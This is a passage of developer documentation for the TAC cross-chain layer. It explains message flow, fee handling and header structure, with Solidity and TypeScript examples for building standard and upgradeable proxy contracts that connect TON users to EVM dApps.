**toBridgeNFT**: List of NFTs you want to bridge to the TON network and transfer to tvmTarget. Learn how to compose them [here](/proxies/advanced-custom-proxy/nft-support). ## Round-Trip Messages (TON → TAC → TON) For messages responding back to TON users, fees are paid upfront on TON: ```solidity theme={null} function respondToTON(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // Process your logic here // Send result back to TON - NO FEES REQUIRED OutMessageV1 memory outMsg = OutMessageV1({ shardsKey: header.shardsKey, // Links to original operation tvmTarget: header.tvmCaller, // Send back to original user tvmPayload: "", // Must be empty tvmProtocolFee: 0, // Set to 0 for RoundTrip - already paid on TON tvmExecutorFee: 0, // Set to 0 for RoundTrip - already paid on TON tvmValidExecutors: new string[](0), // Empty for RoundTrip - already defined on TON or you can use getTrustedTVMExecutors(), toBridge: tokensToSend, toBridgeNFT: new NFTAmount[](0) }); _sendMessageV1(outMsg, 0); // 0 TACs to send back } ``` > You can retrieve the list of default trusted executors by calling settings.getTrustedTVMExecutors() on the Settings contract. **Key Points**: * User pays all fees upfront on TON * RoundTrip response messages must set `tvmProtocolFee: 0` and `tvmExecutorFee: 0` * Use same `shardsKey` from incoming header * Set `tvmValidExecutors` to empty array - executors already defined in original TON message ## Direct TAC → TON Messages For messages initiated directly from TAC (not in response), your contract pays the fees: ```solidity theme={null} interface ICrossChainLayer { function getProtocolFee() external view returns (uint256); } function sendDirectMessage() external payable { // Get current protocol fee dynamically (example usage) uint256 protocolFee = ICrossChainLayer(_getCrossChainLayerAddress()).getProtocolFee(); // Note: Currently there is no official library to calculate the exact executor fee // It is recommended to: // - Overestimate slightly, or // - Use TAC SDK for better fee estimation uint256 executorFee = msg.value - protocolFee; // Rough example - use tacSDK for production OutMessageV1 memory outMsg = OutMessageV1({ shardsKey: generateNewShardsKey(), // New operation tvmTarget: "EQUserAddress...", // TON recipient tvmPayload: "", // Must be empty - not supported tvmProtocolFee: protocolFee, // Contract pays current protocol fee tvmExecutorFee: executorFee, // Contract pays executor fee tvmValidExecutors: new string[](0), // Use default executors toBridge: tokensToSend, toBridgeNFT: new NFTAmount[](0) }); _sendMessageV1(outMsg, 0); // 0 TACs to send back } ``` **Fee Estimation Challenge**: Currently, there is no official library to calculate the exact executor fee, so it is recommended to: * Overestimate slightly, or * Use tacSDK for better fee estimation Executor fees are market-determined based on network conditions and can vary significantly. ## What's Next? Now that you understand the theory, let's dive into the implementation: Build the core logic that processes cross-chain calls and arguments # Message Flow Source: https://docs.tac.build/proxies/custom-proxy/message-flow Learn how cross-chain messages work and what data they contain Before diving into the TAC Proxy development itself, we recommend getting familiar with concepts such as **Message Flow** (this page), [Proxy Functions](/proxies/custom-proxy/proxy-functions), and [Fee Management](/proxies/custom-proxy/fee-management). Understanding how messages flow between TON and TAC EVM is crucial for building effective proxy contracts. This guide explains the data structures and message patterns. ## RoundTrip Messages If a TON → TAC call is reverted on the EVM side after tokens have been bridged, a rollback transaction is created to send the bridged assets back to the originating TON wallet. To guarantee this behavior, the call must be treated (and paid) as a RoundTrip. The SDK sets messages to RoundTrip by default, so on revert (e.g., slippage), funds will be returned automatically. RoundTrip messages follow this flow: 1. **TON user** sends transaction with assets and function call 2. **TAC proxy** receives the call and processes it 3. **TAC proxy** sends result assets back to the same TON user With RoundTrip messages, the user pays all fees upfront on TON, so your proxy sets fees to 0 when responding. > If you expect the TAC-side transaction may revert and assets need to be bridged back to TON, you must pay fees as for a RoundTrip message. > By default, the SDK treats all messages as RoundTrip, so even if a revert occurs (e.g., due to slippage), the funds will be returned to the original TON user because the RoundTrip fee was already paid. ## Message Processing When a TON user interacts with your EVM contract: 1. User submits a transaction on TON with target contract, function name, and arguments 2. Assets (if any) are bridged to TAC and transferred to your proxy contract 3. CrossChainLayer calls your proxy function with TAC header and arguments 4. Your contract can optionally send assets back to TON using `_sendMessageV1()` ## TAC Header Structure Every cross-chain call includes a TAC header with verified information about the original TON transaction: ```solidity theme={null} struct TacHeaderV1 { uint64 shardsKey; // Developer/operation identifier uint256 timestamp; // Block timestamp from TON bytes32 operationId; // Unique operation ID string tvmCaller; // TON user's address (base64, starts with EQ) bytes extraData; // Additional data (currently unused) } ``` ### Header Field Details **shardsKey**: Links related cross-chain operations together. Use this in your response messages to maintain the connection. **timestamp**: The block timestamp from the original TON transaction. Useful for time-based logic or debugging. **operationId**: Unique identifier for this specific cross-chain operation. Use for logging and tracking. **tvmCaller**: The TON user's wallet address. **!!! Important !!!** It is always base64 mainnet bounceable format and starts with "EQ". This is your authenticated user identity - treat it like `msg.sender` in regular Ethereum contracts. **extraData**: For now it's always a zero-bytes array and not used. ### Decoding the Header ```solidity theme={null} function processMessage(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // Decode header using inherited function TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // Access user information string memory tonUser = header.tvmCaller; uint256 operationTime = header.timestamp; bytes32 opId = header.operationId; // Use header data in your logic require(block.timestamp - operationTime < 3600, "Operation too old"); emit MessageProcessed(tonUser, opId, block.timestamp); } ``` ## Asset Handling in Messages ### Token Assets Tokens are automatically transferred to your contract before your function is called: ```solidity theme={null} struct MyTokenStruct { address evmAddress; uint256 amount; } function handleTokens(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // Decode the tokens you're expecting MyTokenStruct[] memory expectedTokens = abi.decode(arguments, (MyTokenStruct[])); // Tokens are already in your contract balance for (uint i = 0; i < expectedTokens.length; i++) { uint256 balance = IERC20(expectedTokens[i].evmAddress).balanceOf(address(this)); require(balance >= expectedTokens[i].amount, "Expected tokens not received"); // Your implementation how to process the tokens processToken(expectedTokens[i].evmAddress, expectedTokens[i].amount); } } ``` ## What's Next? Now that you understand the message flow, learn how to implement the core proxy function logic: Build the core logic that processes cross-chain calls and arguments # Proxy Functions Source: https://docs.tac.build/proxies/custom-proxy/proxy-functions Build the core logic that processes cross-chain calls and arguments Proxy functions are the heart of your TAC contracts - they receive cross-chain calls from TON users and execute your application logic. This guide covers how to implement robust proxy functions that handle different use cases and error conditions. ## Function Signature Requirements Every proxy function that handles cross-chain calls must follow this exact pattern: ```solidity theme={null} function (bytes calldata, bytes calldata) external _onlyCrossChainLayer; ``` The function above also can be `payable`. You can name the function as you wish (e.g. `myProxyFunction`, `invokeWithCallback`, `swap`, etc.), but it must accept two bytes arguments: ```solidity theme={null} function yourFunctionName(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // Your implementation } ``` **Required Components:** * `bytes calldata tacHeader` - Contains verified TON user information * `bytes calldata arguments` - Your custom encoded parameters * `external` visibility - Functions must be externally callable * `_onlyCrossChainLayer` modifier - Security requirement **Important:** Only the Cross-Chain Layer (CCL) contract can call these functions. When a user on TON sends a message, the CCL automatically transfers any bridged tokens to your proxy contract before calling your function. ## Parameter Encoding and Decoding ### Simple Parameters For basic data types, use straightforward encoding: ```solidity theme={null} struct SimpleParams { address token; uint256 amount; address recipient; } function handleSimpleParams(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // Decode parameters SimpleParams memory params = abi.decode(arguments, (SimpleParams)); // Use the parameters IERC20(params.token).transfer(params.recipient, params.amount); } ``` ### Complex Parameters For complex data with arrays or nested structures: ```solidity theme={null} struct ComplexParams { address[] tokens; uint256[] amounts; bytes swapData; uint256 deadline; } function handleComplexParams(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { ComplexParams memory params = abi.decode(arguments, (ComplexParams)); // Validate array lengths match require(params.tokens.length == params.amounts.length, "Array length mismatch"); // Process each token for (uint i = 0; i < params.tokens.length; i++) { // Your custom logic here IERC20(params.tokens[i]).transfer(msg.sender, params.amounts[i]); } // Use additional data if (params.swapData.length > 0) { // Your custom swap logic here } } ``` ## Complete Implementation Walkthrough Let's build a complete proxy function step-by-step, showing external dApp integration - the most common real-world pattern implementing TON->TAC->TON transaction type: ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TokenAmount, OutMessageV1, TacHeaderV1, NFTAmount } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; interface IDappContract { function doSomething(address tokenA, address tokenB, uint256 amount) external returns (uint256); } contract MyProxy is TacProxyV1 { IDappContract public dappContract; struct MyProxyFunctionArguments { address tokenA; address tokenB; uint256 amount; } constructor(address _dappContract, address _crossChainLayer) TacProxyV1(_crossChainLayer) { dappContract = IDappContract(_dappContract); } function myProxyFunction(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // 1. Decode the custom arguments MyProxyFunctionArguments memory args = abi.decode(arguments, (MyProxyFunctionArguments)); // 2. Approve tokens to your Dapp contract for some action IERC20(args.tokenA).approve(address(dappContract), args.amount); // 3. Call the Dapp contract uint256 tokenBAmount = dappContract.doSomething( args.tokenA, args.tokenB, args.amount ); // 4. Prepare tokens to send back to TON TokenAmount[] memory tokensToBridge = new TokenAmount[](1); tokensToBridge[0] = TokenAmount(args.tokenB, tokenBAmount); // 5. Approve the CrossChainLayer to pull them IERC20(tokensToBridge[0].evmAddress).approve( _getCrossChainLayerAddress(), tokensToBridge[0].amount ); // 6. Decode the TAC header TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // 7. Form an OutMessage OutMessageV1 memory outMsg = OutMessageV1({ shardsKey: header.shardsKey, // Use same key for RoundTrip tvmTarget: header.tvmCaller, // Send back to caller tvmPayload: "", // Must be empty - not supported tvmProtocolFee: 0, // 0 for RoundTrip - already paid on TON tvmExecutorFee: 0, // 0 for RoundTrip - already paid on TON tvmValidExecutors: new string[](0), // Empty for RoundTrip - already defined on TON toBridge: tokensToBridge, // Result tokens toBridgeNFT: new NFTAmount[](0) // No NFTs }); // 8. Send message back through CrossChainLayer with zero native _sendMessageV1(outMsg, 0); // 0 TACs to send back } } ``` **This example shows the complete flow:** * External Dapp contract integration (lines 11-13, 19-21, 32-38) * Token approval for external contracts (line 33) * Processing and getting results (lines 35-38) * RoundTrip response pattern (lines 48-58) * Proper fee handling for RoundTrip messages (lines 52-53) **Important Notes:** * Use `_sendMessageV1` for ERC20 token bridging only * The CCL automatically handles token transfers to your proxy before calling your function * Always include the `NFTAmount` import when using OutMessageV1 ## What's Next? Now that you understand how to implement proxy functions, learn about managing fees: Understand how to handle protocol fees and executor payments # Upgradeable Proxy Example Source: https://docs.tac.build/proxies/custom-proxy/upgradeable-proxy Build proxy contracts that can evolve and be upgraded over time TAC provides `TacProxyV1Upgradeable` for contracts that need to be upgraded after deployment. Use this base contract when you need upgrade functionality. ## Basic Upgradeable Structure ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { TacProxyV1Upgradeable } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1Upgradeable.sol"; import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; contract MyUpgradeableProxy is Initializable, OwnableUpgradeable, UUPSUpgradeable, TacProxyV1Upgradeable { // Your state variables go here mapping(string => uint256) public userBalances; uint256 public totalProcessed; /// @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); } function initialize(address owner, address crossChainLayer) public initializer { __UUPSUpgradeable_init(); __Ownable_init(owner); __TacProxyV1Upgradeable_init(crossChainLayer); // Initialize your contract state totalProcessed = 0; } function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} // Your proxy functions go here function processRequest(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { TacHeaderV1 memory header = _decodeTacHeader(tacHeader); uint256 amount = abi.decode(arguments, (uint256)); userBalances[header.tvmCaller] += amount; totalProcessed += amount; emit RequestProcessed(header.tvmCaller, amount); } event RequestProcessed(string indexed user, uint256 amount); } ``` ## Key Difference from Basic Contracts The **inheritance order** is critical and must follow OpenZeppelin's recommended pattern. ```solidity theme={null} contract MyUpgradeableProxy is Initializable, // Must be first OwnableUpgradeable, // Access control UUPSUpgradeable, // Upgrade mechanism TacProxyV1Upgradeable // TAC functionality (last) ``` ## Deployment Deployment differs from the basic example. UUPS pattern is used in the example below: ```javascript theme={null} import { Signer } from "ethers"; import { MyUpgradeableProxy } from "../../typechain-types"; import { deployUpgradable } from '@tonappchain/evm-ccl' import { DeployProxyOptions } from "@openzeppelin/hardhat-upgrades/dist/utils"; import hre from 'hardhat'; const proxyOptsUUPS: DeployProxyOptions = { kind: "uups", unsafeAllow: ["constructor"] }; export async function deployMyUpgradeableProxy( deployer: Signer, crossChainLayerAddress: string, owner?: string, ): Promise { const myUpgradeableProxy = await deployUpgradable( deployer, hre.artifacts.readArtifactSync('MyUpgradeableProxy'), [owner || await deployer.getAddress(), crossChainLayerAddress], proxyOptsUUPS, undefined, true // verbose ); await myUpgradeableProxy.waitForDeployment(); return myUpgradeableProxy; } main().catch(console.error); ``` ## What's Next? Learn even more sophisticated development patterns # TAC Proxies Source: https://docs.tac.build/proxies/introduction TAC Proxy contracts receive cross-chain calls and assets from TON users and route them to EVM dApps and vice versa Learn more about TAC Proxies role on [this page](/why-tac/components/proxy-contracts). ## Proxy Solutions When choosing a proxy solution, you currently have two options: * **Custom**: Build and deploy a proxy for your EVM dApp using Solidity. Test locally using `TacLocalTestSdk` library or by using our joint [TON + TAC Testnet](/sdk/overview#testnet). This option supports any level of complexity. * **Agnostic**: Implement calls to your EVM dApp directly in your frontend or JS-based backend using our SDK. No deployment needed. Test on our joint [TON + TAC Testnet](/sdk/overview#testnet). Has limitations, preferred for relatively simple use cases. Theory and examples how to build a custom proxy yourself Introductory page. Only SDK required # Overview Source: https://docs.tac.build/quickstart/overview Get started with TAC development in minutes, building hybrid dApps that connect TON and EVM ecosystems Get up and running with TAC development quickly by building your first hybrid dApp. This guide will take you from zero to a working application that connects TON wallets with EVM smart contracts in just a few minutes.